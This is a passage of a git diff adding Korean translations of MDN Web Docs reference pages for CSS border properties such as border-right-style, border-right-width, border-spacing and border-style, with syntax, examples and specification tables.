+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-right-color', 'border-right-color')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("&lt;color&gt;")}} which has been extended, has been formally removed.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-right-color', 'border-right-color')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-right-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-right")}}, {{cssxref("border-color")}}.</li>
+ <li>다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}.</li>
+ <li>오른쪽 테두리 관련 CSS 속성: {{cssxref("border-right-style")}}, {{cssxref("border-right-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-right-style/index.html b/files/ko/web/css/border-right-style/index.html
new file mode 100644
index 0000000000..291595d8d1
--- /dev/null
+++ b/files/ko/web/css/border-right-style/index.html
@@ -0,0 +1,134 @@
+---
+title: border-right-style
+slug: Web/CSS/border-right-style
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-right-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-right-style</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 테두리의 오른쪽 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right-style.html")}}</div>
+
+
+
+<div class="note"><strong>참고:</strong> 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-right-style: none;
+border-right-style: hidden;
+border-right-style: dotted;
+border-right-style: dashed;
+border-right-style: solid;
+border-right-style: double;
+border-right-style: groove;
+border-right-style: ridge;
+border-right-style: inset;
+border-right-style: outset;
+
+/* 전역 값 */
+border-right-style: inherit;
+border-right-style: initial;
+border-right-style: unset;
+</pre>
+
+<p><code>border-right-style</code> 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td class="b1"&gt;none&lt;/td&gt;
+ &lt;td class="b2"&gt;hidden&lt;/td&gt;
+ &lt;td class="b3"&gt;dotted&lt;/td&gt;
+ &lt;td class="b4"&gt;dashed&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b5"&gt;solid&lt;/td&gt;
+ &lt;td class="b6"&gt;double&lt;/td&gt;
+ &lt;td class="b7"&gt;groove&lt;/td&gt;
+ &lt;td class="b8"&gt;ridge&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b9"&gt;inset&lt;/td&gt;
+ &lt;td class="b10"&gt;outset&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Define look of the table */
+table {
+ border-width: 2px;
+ background-color: #52E385;
+}
+tr, td {
+ padding: 3px;
+}
+
+/* border-right-style example classes */
+.b1 {border-right-style: none;}
+.b2 {border-right-style: hidden;}
+.b3 {border-right-style: dotted;}
+.b4 {border-right-style: dashed;}
+.b5 {border-right-style: solid;}
+.b6 {border-right-style: double;}
+.b7 {border-right-style: groove;}
+.b8 {border-right-style: ridge;}
+.b9 {border-right-style: inset;}
+.b10 {border-right-style: outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제', 300, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-right-style')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-right-style')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-right-style")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.</li>
+ <li>오른쪽 테두리 관련 CSS 속성: {{cssxref("border-right")}}, {{cssxref("border-right-color")}}, {{cssxref("border-right-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-right-width/index.html b/files/ko/web/css/border-right-width/index.html
new file mode 100644
index 0000000000..60c3a4e564
--- /dev/null
+++ b/files/ko/web/css/border-right-width/index.html
@@ -0,0 +1,150 @@
+---
+title: border-right-width
+slug: Web/CSS/border-right-width
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/border-right-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-right-width</code></strong> 속성은 요소의 오른쪽 테두리 너비를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right-width.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값*/
+border-right-width: thin;
+border-right-width: medium;
+border-right-width: thick;
+
+/* &lt;length&gt; 값 */
+border-right-width: 10em;
+border-right-width: 3vmax;
+border-right-width: 6px;
+
+/* 전역 값 */
+border-right-width: inherit;
+border-right-width: initial;
+border-right-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다.0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>thin</code></td>
+ <td>
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: solid; border-right-width: thin; background-color: palegreen;"></div>
+ </td>
+ <td>얇은 테두리</td>
+ </tr>
+ <tr>
+ <td><code>medium</code></td>
+ <td>
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: solid; border-right-width: medium; background-color: palegreen;"></div>
+ </td>
+ <td>중간 테두리</td>
+ </tr>
+ <tr>
+ <td><code>thick</code></td>
+ <td>
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: solid; border-right-width: thick; background-color: palegreen;"></div>
+ </td>
+ <td>굵은 테두리</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리의_너비_비교">테두리의 너비 비교</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Element 1&lt;/div&gt;
+&lt;div&gt;Element 2&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+ border: 1px solid red;
+ margin: 1em 0;
+}
+
+div:nth-child(1) {
+ border-right-width: thick;
+}
+div:nth-child(2) {
+ border-right-width: 2em;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리의_너비_비교', '100%')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-right-width')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-right-width')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-left-width', 'border-right-width')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-right-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 너비 관련 CSS 속성: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-top-width")}}, and {{Cssxref("border-width")}}.</li>
+ <li>오른쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-right")}}, {{Cssxref("border-right-style")}}, and {{Cssxref("border-right-color")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-right/index.html b/files/ko/web/css/border-right/index.html
new file mode 100644
index 0000000000..557dbeba89
--- /dev/null
+++ b/files/ko/web/css/border-right/index.html
@@ -0,0 +1,109 @@
+---
+title: border-right
+slug: Web/CSS/border-right
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 테두리
+translation_of: Web/CSS/border-right
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-right</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 오른쪽 테두리를 설정합니다.</span> {{cssxref("border-right-width")}}, {{cssxref("border-right-style")}}, {{cssxref("border-right-color")}}의 값을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, <code>border-right</code>는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.</p>
+
+<pre class="brush: css">border-right-style: dotted;
+border-right: thick green;
+</pre>
+
+<pre class="brush: css">border-right-style: dotted;
+border-right: none thick green;
+</pre>
+
+<p>따라서 <code>border-right</code>보다 먼저 지정한 {{cssxref("border-right-style")}}의 값은 무시됩니다. {{cssxref("border-right-style")}}의 기본값은 <code>none</code>이므로, <code>border-style</code>을 명시하지 않으면 테두리를 만들지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">border-right: 1px;
+border-right: 2px dotted;
+border-right: medium dashed green;
+</pre>
+
+<p><code>border-right</code>은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>{{cssxref("border-right-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>{{cssxref("border-right-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>{{cssxref("border-right-color")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div&gt;
+ 오른쪽 테두리를 가진 요소입니다.
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+ border-right: 4px dashed blue;
+ background-color: gold;
+ height: 100px;
+ width: 100px;
+ font-weight: bold;
+ text-align: center;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-right', 'border-right')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No direct changes, though the modification of values for the {{cssxref("border-right-color")}} do apply to it.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-right', 'border-right')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant changes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-right', 'border-right')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-right")}}</p>
diff --git a/files/ko/web/css/border-spacing/index.html b/files/ko/web/css/border-spacing/index.html
new file mode 100644
index 0000000000..23e0e42018
--- /dev/null
+++ b/files/ko/web/css/border-spacing/index.html
@@ -0,0 +1,131 @@
+---
+title: border-spacing
+slug: Web/CSS/border-spacing
+tags:
+ - CSS
+ - CSS Property
+ - CSS Tables
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/border-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-spacing</code></strong> 속성은 인접한 표 칸의 테두리 간격을 지정합니다.</span> {{cssxref("border-collapse")}}가 <code>separate</code>여야 적용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-spacing.html")}}</div>
+
+
+
+<p><code>border-spacing</code> 값은 표 전체의 테두리에도 적용되므로, 표 테두리와 첫 번째 및 마지막 행/열에 속하는 칸 사이 거리는 (가로/세로) <code>border-spacing</code> 값과 표에 적용한 (상/우/하/좌) {{cssxref("padding")}} 값의 합이 됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>border-spacing</code> 속성은 {{htmlelement("table")}}에서 이제 사용하지 않는 <code>cellspacing</code> 특성에 대응하지만, 추가로 두 번째 값을 지정해 가로와 세로 값을 각각 설정할 수 있다는 차이점이 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">/* &lt;length&gt; */
+border-spacing: 2px;
+
+/* 가로 &lt;length&gt; | 세로 &lt;length&gt; */
+border-spacing: 1cm 2em;
+
+/* 전역 값 */
+border-spacing: inherit;
+border-spacing: initial;
+border-spacing: unset;</pre>
+
+<p><code>border-spacing</code> 값은 하나 또는 두 개의 값을 사용해 지정합니다.</p>
+
+<ul>
+ <li><strong>한 개</strong>의 <code>&lt;length&gt;</code> 값을 지정하면 칸 사이의 가로와 세로 두 간격 모두 설정합니다.</li>
+ <li>두 개의 <code>&lt;length&gt;</code> 값을 지정하면, 첫 번째 값은 칸 사이의 가로 간격(각 열의 간격), 두 번째 값은 칸 사이의 세로 간격(각 행의 간격)을 설정합니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>간격의 크기로 지정할 길이입니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="칸_간격과_안쪽_여백">칸 간격과 안쪽 여백</h3>
+
+<p>다음 예제는 칸 사이에 세로 간격 <code>0.5em</code>과 가로 간격 <code>1em</code>을 배치합니다. 표의 테두리를 따라가면서, <code>padding</code> 값이 <code>border-spacing</code>과 어떻게 작용하는지 살펴보세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td&gt;1&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;4&lt;/td&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;6&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;7&lt;/td&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">table {
+ border-spacing: 1em 0.5em;
+ padding: 0 2em 1em 0;
+ border: 1px solid orange;
+}
+
+td {
+ width: 1.5em;
+ height: 1.5em;
+ background: #d2d2d2;
+ text-align: center;
+ vertical-align: middle;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('예제', 400, 200) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'tables.html#separated-borders', 'border-spacing') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.border-spacing")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("border-collapse")}}, {{cssxref("border-style")}}</li>
+ <li><code>border-spacing</code> 속성은 {{htmlelement("table")}} HTML 요소의 외관을 수정합니다.</li>
+</ul>
diff --git a/files/ko/web/css/border-style/index.html b/files/ko/web/css/border-style/index.html
new file mode 100644
index 0000000000..70bf9b180d
--- /dev/null
+++ b/files/ko/web/css/border-style/index.html
@@ -0,0 +1,241 @@
+---
+title: border-style
+slug: Web/CSS/border-style
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-style</code> </strong><a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소 테두리 네 면의 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-style.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+border-style: none;
+border-style: hidden;
+border-style: dotted;
+border-style: dashed;
+border-style: solid;
+border-style: double;
+border-style: groove;
+border-style: ridge;
+border-style: inset;
+border-style: outset;
+
+/* 세로방향 | 가로방향 */
+border-style: dotted solid;
+
+/* 위 | 가로방향 | 아래 */
+border-style: hidden double dashed;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-style: none solid dotted dashed;
+
+/* 전역 값 */
+border-style: inherit;
+border-style: initial;
+border-style: unset;
+</pre>
+
+<p><code>border-style</code> 속성은 한 개에서 네 개의 값을 사용해 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 테두리 스타일을 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 테두리 스타일을 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 테두리 스타일을 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 테두리 스타일을 지정합니다. (시계방향)</li>
+</ul>
+
+<p>각각의 값은 아래 목록 중 하나로 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-style&gt;</code></dt>
+ <dd>테두리의 스타일을 설명합니다. 다음 표의 값을 사용할 수 있습니다.
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td style="vertical-align: middle;"><code>none</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-style: none; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;"><code>hidden</code> 키워드와 마찬가지로 테두리를 표시하지 않습니다. {{cssxref("background-image")}}를 지정하지 않았으면 해당 면의 {{cssxref("border-width")}} 계산값은 지정값을 무시하고 <code>0</code>이 됩니다. 표에서, 칸의 테두리 상쇄 시 <code>none</code>은 제일 낮은 우선순위를 가집니다. 따라서 주변 칸이 테두리를 가진다면 테두리를 그립니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>hidden</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: hidden; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;"><code>none</code> 키워드와 마찬가지로 테두리를 표시하지 않습니다. Unless a {{cssxref("background-image")}}를 지정하지 않았으면 해당 면의 {{cssxref("border-width")}} 계산값은 지정값을 무시하고 <code>0</code>이 됩니다. 표에서, 칸의 테두리 상쇄 시 <code>hidden</code>은 제일 높은 우선순위를 가집니다. 따라서 주변 칸이 테두리를 가지더라도 그리지 않습니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>dotted</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: dotted; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;">테두리를 둥근 점 여러개로 그립니다. 점 간격은 명세에서 지정하지 않으며 구현마다 다릅니다. 점의 반지름은 해당 면 {{cssxref("border-width")}}의 절반입니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>dashed</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: dashed; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;">테두리를 직사각형 여러개로 그립니다. 사각형의 크기와 길이는 명세에서 지정하지 않으며 구현마다 다릅니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>solid</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: solid; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;">테두리를 하나의 직선으로 그립니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>double</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: double; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;">테두리를 두 개의 평행한 직선으로 그립니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>groove</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: groove; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;">테두리가 파인 것처럼 그립니다.<code>ridge</code>의 반대입니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>ridge</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: ridge; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;">테두리가 튀어나온 것처럼 그립니다. <code>groove</code>의 반대입니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>inset</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: inset; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;">요소가 파인 것처럼 테두리를 그립니다.<code>outset</code>의 반대입니다. {{cssxref("border-collapse")}}가 <code>collapsed</code>인 칸에서는 <code>groove</code>와 동일합니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>outset</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-style: outset; background-color: palegreen;"> </div>
+ </td>
+ <td style="vertical-align: middle;">
+ <p>요소가 튀어나온 것처럼 그립니다. <code>inset</code>의 반대입니다. {{cssxref("border-collapse")}}가 <code>collapsed</code>인 칸에서는 <code>ridge</code>와 동일합니다.</p>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="속성_값의_예시_표">속성 값의 예시 표</h3>
+
+<p>가능한 모든 값을 나열한 표입니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td class="b1"&gt;none&lt;/td&gt;
+ &lt;td class="b2"&gt;hidden&lt;/td&gt;
+ &lt;td class="b3"&gt;dotted&lt;/td&gt;
+ &lt;td class="b4"&gt;dashed&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b5"&gt;solid&lt;/td&gt;
+ &lt;td class="b6"&gt;double&lt;/td&gt;
+ &lt;td class="b7"&gt;groove&lt;/td&gt;
+ &lt;td class="b8"&gt;ridge&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b9"&gt;inset&lt;/td&gt;
+ &lt;td class="b10"&gt;outset&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* 테이블 스타일 */
+table {
+ border-width: 3px;
+ background-color: #52E396;
+}
+tr, td {
+ padding: 2px;
+}
+
+/* border-style 예제 클래스 */
+.b1 {border-style:none;}
+.b2 {border-style:hidden;}
+.b3 {border-style:dotted;}
+.b4 {border-style:dashed;}
+.b5 {border-style:solid;}
+.b6 {border-style:double;}
+.b7 {border-style:groove;}
+.b8 {border-style:ridge;}
+.b9 {border-style:inset;}
+.b10 {border-style:outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('속성_값의_예시_표', 300, 200)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-style', 'border-style')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-style', 'border-style')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Adds <code>hidden</code> keyword value.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-style', 'border-style')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-style")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{Cssxref("border")}}, {{Cssxref("border-width")}}, {{Cssxref("border-color")}}, {{Cssxref("border-radius")}}</li>
+</ul>
diff --git a/files/ko/web/css/border-top-color/index.html b/files/ko/web/css/border-top-color/index.html
new file mode 100644
index 0000000000..9212f447e2
--- /dev/null
+++ b/files/ko/web/css/border-top-color/index.html
@@ -0,0 +1,114 @@
+---
+title: border-top-color
+slug: Web/CSS/border-top-color
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-top-color
+---
+<div>{{CSSRef}}</div>
+
